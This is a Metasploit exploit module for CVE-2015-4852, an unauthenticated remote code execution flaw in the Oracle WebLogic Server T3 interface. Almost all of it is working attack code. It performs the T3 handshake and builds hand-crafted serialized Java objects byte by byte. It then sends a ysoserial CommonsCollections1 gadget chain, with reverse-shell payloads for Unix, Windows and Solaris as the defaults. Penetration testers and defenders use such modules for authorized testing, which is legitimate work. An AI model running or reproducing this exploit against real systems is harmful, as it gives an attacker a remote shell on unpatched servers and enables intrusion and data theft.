Oracle Weblogic Server Deserialization Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/exploit/powershell'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
#include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Powershell  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Oracle Weblogic Server Deserialization RCE - Raw Object',  
'Description' => %q{  
An unauthenticated attacker with network access to the Oracle Weblogic Server T3  
interface can send a serialized object (weblogic.jms.common.StreamMessageImpl)  
to the interface to execute code on vulnerable hosts.  
},  
'Author' =>  
[  
'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)  
'Stephen Breen', # Vulnerability Discovery  
'Aaron Soto' # Reverse Engineering JSO and ysoserial blobs  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2015-4852']  
],  
'Privileged' => false,  
'Platform' => %w{ unix win solaris },  
'Targets' =>  
[  
[ 'Unix',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},  
'Payload' => {  
'Encoder' => 'cmd/ifs',  
'BadChars' => ' ',  
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'python'}  
}  
],  
[ 'Windows',  
'Platform' => 'win',  
'Payload' => {},  
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}  
],  
[ 'Solaris',  
'Platform' => 'solaris',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},  
'Payload' => {  
'Space' => 2048,  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl telnet',  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 28 2015'))  
  
register_options([Opt::RPORT(7001)])  
end  
  
=begin This check is currently incompatible with the Tcp mixin. :-(  
def check  
resp = send_request_cgi(  
'method' => 'GET',  
'uri' => '/console/login/LoginForm.jsp'  
)  
  
return CheckCode::Unknown unless resp && resp.code == 200  
  
unless resp.body.include?('Oracle WebLogic Server Administration Console')  
vprint_warning("Oracle WebLogic Server banner cannot be found")  
return CheckCode::Unknown  
end  
  
/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body  
unless version  
vprint_warning("Oracle WebLogic Server version cannot be found")  
return CheckCode::Unknown  
end  
  
version = Gem::Version.new(version)  
vprint_good("Detected Oracle WebLogic Server Version: #{version}")  
case  
when version.to_s.start_with?('10.3')  
return CheckCode::Appears unless version > Gem::Version.new('10.3.6.0')  
when version.to_s.start_with?('12.1.2')  
return CheckCode::Appears unless version > Gem::Version.new('12.1.2.0')  
when version.to_s.start_with?('12.1.3')  
return CheckCode::Appears unless version > Gem::Version.new('12.1.3.0')  
when version.to_s.start_with?('12.2')  
return CheckCode::Appears unless version > Gem::Version.new('12.2.1.0')  
end  
  
return CheckCode::Safe  
end  
=end  
  
def t3_handshake  
# retrieved from network traffic  
shake = "t3 12.2.1\n"  
shake << "AS:255\n"  
shake << "HL:19\n"  
shake << "MS:10000000\n\n"  
  
sock.put(shake)  
sleep(1)  
sock.get_once  
end  
  
def build_t3_request_object  
# T3 request serialized data  
# retrieved by watching network traffic  
# This is a proprietary, undocumented protocol  
  
# TODO: Cite a source for the dissection of in the following 14 lines:  
data = '000005c3' # lenght of the packet  
data << '01' # CMD_IDENTIFY_REQUEST  
data << '65' # QOS  
data << '01' # Flags:  
# CONTEXT_JVMID_FLAG = 1 (has JVMIDs)  
# CONTEXT_TX_FLAG = 2  
# CONTEXT_TRACE_FLAG = 4  
# CONTEXT_EXTENDED_FLAG = 8  
# CONTEXT_EXTENDED_USER_FLAG = 16  
data << 'ffffffff' # response id  
data << 'ffffffff' # invocable id  
data << '0000006a' # abbrev offset  
data << '0000ea60' # reconnect timeout ??  
  
data << '0000001900937b484a'  
data << '56fa4a777666f581daa4f5b90e2aebfc607499'  
data << 'b4027973720078720178720278700000000a00'  
data << '00000300000000000000060070707070707000'  
data << '00000a000000030000000000000006007006'  
  
data << 'fe010000' # ----- separator -----  
  
data << 'aced0005' # JSO v5 header  
data << '73' # object header  
data << '72001d' # className (29 bytes):  
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry  
data << '5461626c65456e747279' # (continued)  
data << '2f52658157f4f9ed' # serialVersionUID  
data << '0c00007870' # remainder of object header  
data << '72' # object header  
data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo  
data << '65726e616c2e5061636b616765496e666f' # (continued)  
data << 'e6f723e7b8ae1ec9' # serialVersionUID  
data << '02' # SC_SERIALIZABLE  
data << '0008' # fieldCount = 8  
data << '4900056d616a6f72' # 0: Int: major  
data << '4900056d696e6f72' # 1: Int: minor  
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch  
data << '49000b736572766963655061636b' # 3: Int: servicePack  
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch  
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle  
data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String  
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor  
data << '71007e0003' # (Handle) 0x007e0003  
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion  
data << '71007e0003' # (Handle) 0x007e0003  
data << '78707702000078' # block footers  
  
data << 'fe010000' # ----- separator -----  
  
data << 'aced0005' # JSO v5 header  
data << '7372' # object header  
data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry  
data << '735461626c65456e747279' # (continued)  
data << '2f52658157f4f9ed' # serialVersionUID  
data << '0c' # EXTERNALIZABLE | BLOCKDATA  
data << '00007870' # remainder of object header  
data << '72' # object header  
data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo  
data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)  
data << '972245516452463e' # serialVersionUID  
data << '02' # SC_SERIALIZABLE  
data << '0003' # fieldCount = 3  
data << '5b0008' # array header (8 bytes)  
data << '7061636b61676573' # ARRAY NAME = 'packages'  
data << '740027' # TC_STRING className1 (39 bytes)  
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo  
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)  
data << '3b' # (continued)  
data << '4c000e' # object header (14 bytes)  
data << '72656c6561736556657273696f6e' # releaseVersion  
data << '740012' # TC_STRING (18 bytes)  
data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes  
data << '5b0012' # array header (18 bytes)  
data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;  
data << '740002' # TC_STRING (2 bytes)  
data << '5b42' # 0x5b42 = [B  
data << '78' # block footer  
  
data << '720024' # class (36 bytes)  
data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo  
data << '7465726e616c2e5061636b616765496e666f' # (continued)  
data << 'e6f723e7b8ae1ec9' # serialVersionUID  
  
data << '02' # SC_SERIALIZABLE  
data << '0008' # fieldCount = 8  
data << '4900056d616a6f72' # 0: Int: major  
data << '4900056d696e6f72' # 1: Int: minor  
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch  
data << '49000b736572766963655061636b' # 3: Int: servicePack  
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch  
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle  
data << '71' # TC_REFERENCE  
data << '007e0004' # Handle = 0x007e0004  
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor  
data << '71' # TC_REFERENCE  
data << '007e0004' # Handle = 0x007e0004  
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion  
data << '71' # TC_REFERENCE  
data << '007e0004' # Handle = 0x007e0004  
data << '78' # class footer  
data << '70' # TC_NULL  
data << '77020000' # BLOCKDATA (2 bytes): 0x0000  
data << '78' # block footer  
  
data << 'fe010000' # ----- separator -----  
  
data << 'aced0005' # JSO v5 header  
data << '73' # object header  
data << '72001d' # className (29 bytes):  
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry  
data << '5461626c65456e747279' # (continued)  
data << '2f52658157f4f9ed' # serialVersionUID  
data << '0c00007870' # remainder of object header  
data << '720021' # className (33 bytes)  
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo  
data << '65726e616c2e50656572496e666f' # (continued)  
data << '585474f39bc908f1' # serialVersionUID  
data << '02' # SC_SERIALIZABLE  
data << '0006' # fieldCount = 6  
data << '4900056d616a6f72' # 0: Int: major  
data << '4900056d696e6f72' # 1: Int: minor  
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch  
data << '49000b736572766963655061636b' # 3: Int: servicePack  
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch  
data << '5b00087061636b61676573' # 5: Array: packages  
data << '740027' # TC_STRING (39 bytes)  
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;  
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)  
data << '3b' # (continued)  
data << '78' # block footer  
data << '720024' # class header  
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Name = Lweblogic/common/internal/PackageInfo;  
data << '65726e616c2e56657273696f6e496e666f' # (continued)  
data << '972245516452463e' # serialVersionUID  
data << '02' # SC_SERIALIZABLE  
data << '0003' # fieldCount = 3  
data << '5b0008' # 0: Array  
data << '7061636b6167657371' # packages  
data << '007e0003' # Handle = 0x00730003  
data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion  
data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;  
data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes  
data << '740002' # TC_STRING (2 bytes)  
data << '5b42' # VALUE = 0x5b42 = [B  
data << '78' # block footer  
data << '720024' # class header  
data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo  
data << '6e616c2e5061636b616765496e666f' # (continued)  
data << 'e6f723e7b8ae1ec9' # serialVersionUID  
data << '02' # SC_SERIALIZABLE  
data << '0008' # fieldCount = 8  
data << '4900056d616a6f72' # 0: Int: major  
data << '4900056d696e6f72' # 1: Int: minor  
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch  
data << '49000b736572766963655061636b' # 3: Int: servicePack  
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch  
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle  
data << '71' # TC_REFERENCE  
data << '007e0005' # Handle = 0x007e0005  
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor  
data << '71' # TC_REFERENCE  
data << '007e0005' # Handle = 0x007e0005  
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion  
data << '71' # TC_REFERENCE  
data << '007e0005' # Handle = 0x007e0005  
data << '78' # class footer  
data << '707702000078' # block footers  
  
data << 'fe00ff' # this cruft again. some kind of footer  
  
data << 'fe010000' # ----- separator -----  
  
# weblogic.rjvm.JVMID object  
data << 'aced0005' # JSO v5 header  
data << '73' # object header  
data << '720013' # class header  
data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'  
data << 'dc49c23ede121e2a' # serialVersionUID  
data << '0c' # EXTERNALIZABLE | BLOCKDATA  
data << '0000' # fieldCount = 0 (!!!)  
data << '78' # block footer  
data << '70' # NULL  
data << '7750' # block header (80 bytes)  
data << '21' # !  
data << '000000000000000000' # 9 NULL BYTES  
  
data << '0d' # strLength = 13 bytes  
#data << '3139322e3136382e312e323237' # original PoC string = 192.168.1.227  
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0  
# (must be an IP, and length isn't trivially editable)  
data << '00' # \0  
  
data << '12' # strLength = 18 bytes  
#data << '57494e2d4147444d565155423154362e6568' # original str = WIN-AGDMVQUB1T6.eh  
data << rand_text_alphanumeric(18).unpack('H*')[0]  
  
data << '83348cd6' # original = ??? UNKNOWN ??? (Note: Cannot be randomized)  
  
data << '000000070000' # ??? UNKNOWN ???  
data << rport.to_s(16).rjust(4, '0') # callback port  
data << 'ffffffffffffffffffffffffffffffffffffff' # ??? UNKNOWN ???  
data << 'ffffffffff' # ??? UNKNOWN ???  
data << '78' # block footer  
  
data << 'fe010000' # ----- separator -----  
  
# weblogic.rjvm.JVMID object  
data << 'aced0005' # JSO v5 header  
data << '73' # object header  
data << '72' # class  
data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID  
data << 'dc49c23ede121e2a' # serialVersionUID  
data << '0c' # EXTERNALIZABLE | BLOCKDATA  
data << '0000' # fieldCount = 0  
data << '78' # end block  
data << '70' # TC_NULL  
data << '77' # block header  
data << '20' # length = 32 bytes  
data << '0114dc42bd071a772700' # old string = ??? UNKNOWN ???  
#data << rand_text_alphanumeric(10).unpack('H*')[0] # (NOTE: RANDOMIZAITON BREAKS THINGS)  
  
data << '0d' # string length = 13 bytes (NOTE: do not edit)  
#data << '3234322e3231342e312e323534' # original string = 242.214.1.254  
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0  
# (must be an IP, and length isn't trivially editable)  
  
#data << '61863d1d' # original string = ??? UNKNOWN ???  
data << rand_text_alphanumeric(4).unpack('H*')[0] # new = randomized  
  
data << '00000000' # NULL BYTES  
data << '78' # block footer  
  
sock.put([data].pack('H*'))  
sleep(1)  
sock.get_once  
end  
  
def send_payload_objdata  
# payload creation  
if target.name == 'Windows'  
mycmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true})  
elsif target.name == 'Unix' || target.name == 'Solaris'  
mycmd = payload.encoded  
end  
  
# basic weblogic ClassTableEntry object (serialized)  
# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?  
payload = '056508000000010000001b0000005d0101007372017870737202787000000000'  
payload << '00000000757203787000000000787400087765626c6f67696375720478700000'  
payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'  
  
payload << 'fe010000' # ----- separator -----  
  
payload << 'aced0005' # JSO v5 header  
payload << '73' # object header  
payload << '72' # class  
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry  
payload << '73735461626c65456e747279' # (cont)  
payload << '2f52658157f4f9ed' # serialVersionUID  
payload << '0c' # EXTERNALIZABLE | BLOCKDATA  
payload << '0000' # fieldCount = 0  
payload << '7870' # remaining object header  
payload << '72' # class header  
payload << '00025b42' # Name: 0x5b42  
payload << 'acf317f8060854e0' # serialVersionUID  
payload << '02' # SERIALIZABLE  
payload << '0000' # fieldCount = 0  
payload << '7870' # class footer  
payload << '77' # block header  
payload << '020000' # contents = 0x0000  
payload << '78' # block footer  
  
payload << 'fe010000' # ----- separator -----  
  
payload << 'aced0005' # JSO v5 header  
payload << '73' # object header  
payload << '72' # class  
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry  
payload << '73735461626c65456e747279' # (cont)  
payload << '2f52658157f4f9ed' # serialVersionUID  
payload << '0c' # EXTERNALIZABLE | BLOCKDATA  
payload << '0000' # fieldCount = 0  
payload << '7870' # remaining object header  
payload << '72' # class header  
  
payload << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;  
payload << '6563743b' # (cont)  
payload << '90ce589f1073296c' # serialVersionUID  
payload << '02' # SERIALIZABLE  
payload << '0000' # fieldCount = 0  
payload << '7870' # remaining object header  
payload << '77' # block header  
payload << '020000' # contents = 0x0000  
payload << '78' # block footer  
  
payload << 'fe010000' # ----- separator -----  
  
payload << 'aced0005' # JSO v5 header  
payload << '73' # object header  
payload << '72' # class  
  
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry  
payload << '73735461626c65456e747279' # (cont)  
payload << '2f52658157f4f9ed' # serialVersionUID  
payload << '0c' # SERIALIZABLE | BLOCKDATA  
payload << '0000' # fieldCount = 0  
payload << '7870' # block footer  
payload << '72' # class header  
payload << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector  
payload << 'd9977d5b803baf01' # serialVersionUID  
payload << '03' # WRITE_METHOD | SERIALIZABLE  
payload << '0003' # fieldCount = 3  
payload << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement  
payload << '49000c656c656d656e74436f756e74' # 1: Int: elementCount  
payload << '5b000b656c656d656e7444617461' # 2: Array: elementData  
payload << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;  
payload << '743b' # (cont)  
payload << '7870' # remaining object header  
payload << '77' # block header  
payload << '020000' # contents = 0x0000  
payload << '78' # block footer  
  
payload << 'fe010000' # ----- separator -----  
  
ysoserial_payload = ::Msf::Util::JavaDeserialization.ysoserial_payload("CommonsCollections1",mycmd)  
payload << ysoserial_payload.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join  
  
payload << 'fe010000' # ----- separator -----  
  
# basic weblogic ImmutableServiceContext object (serialized)  
payload << 'aced0005' # JSO v5 header  
payload << '73' # object header  
payload << '72' # class  
payload << '00257765626c6f6769632e726a766d2e496d6d75' # Name: weblogic.rjvm.ImmutableServiceContext  
payload << '7461626c6553657276696365436f6e74657874' # (cont)  
payload << 'ddcba8706386f0ba' # serialVersionUID  
payload << '0c' # EXTERNALIZABLE | BLOCKDATA  
payload << '0000' # fieldCount = 0  
payload << '78' # object footer  
payload << '72' # block header  
payload << '00297765626c6f6769632e726d692e70726f76' # Name: weblogic.rmi.provider.BasicServiceContext  
payload << '696465722e426173696353657276696365436f' # (cont)  
payload << '6e74657874' # (cont)  
payload << 'e4632236c5d4a71e' # serialVersionUID  
payload << '0c' # EXTERNALIZABLE | BLOCKDATA  
payload << '0000' # fieldCount = 0  
payload << '7870' # block footer  
payload << '77' # block header  
payload << '020600' # contents = 0x0600  
payload << '7372' # class descriptor  
payload << '00267765626c6f6769632e726d692e696e7465' # Name: weblogic.rmi.internal.MethodDescriptor  
payload << '726e616c2e4d6574686f644465736372697074' # (cont)  
payload << '6f72' # (cont)  
payload << '12485a828af7f67b' # serialVersionUID  
payload << '0c' # EXTERNALIZABLE | BLOCKDATA  
payload << '0000' # fieldCount = 0  
payload << '7870' # class footer  
payload << '77' # class data  
  
#payload << '34002e61757468656e746963617465284c7765' # old contents = 0x002e61757468656e746963617465284c7765  
#payload << '626c6f6769632e73656375726974792e61636c' # 626c6f6769632e73656375726974792e61636c  
#payload << '2e55736572496e666f3b290000001b' # 2e55736572496e666f3b290000001b  
payload << rand_text_alphanumeric(52).unpack('H*')[0] # new = randomized  
payload << '78' # class footer  
payload << '78' # block footer  
# MISSING OBJECT FOOTER (0x78)  
  
payload << 'fe00ff' # this cruft again. some kind of footer  
  
# sets the length of the stream  
data = ((payload.length >> 1) + 4).to_s(16).rjust(8,'0')  
data << payload  
  
sock.put([data].pack('H*'))  
sleep(1)  
sock.get_once  
  
end  
  
def exploit  
connect  
  
print_status('Sending handshake...')  
t3_handshake  
  
print_status('Sending T3 request object...')  
build_t3_request_object  
  
print_status('Sending client object payload...')  
send_payload_objdata  
  
handler  
disconnect  
end  
end  
`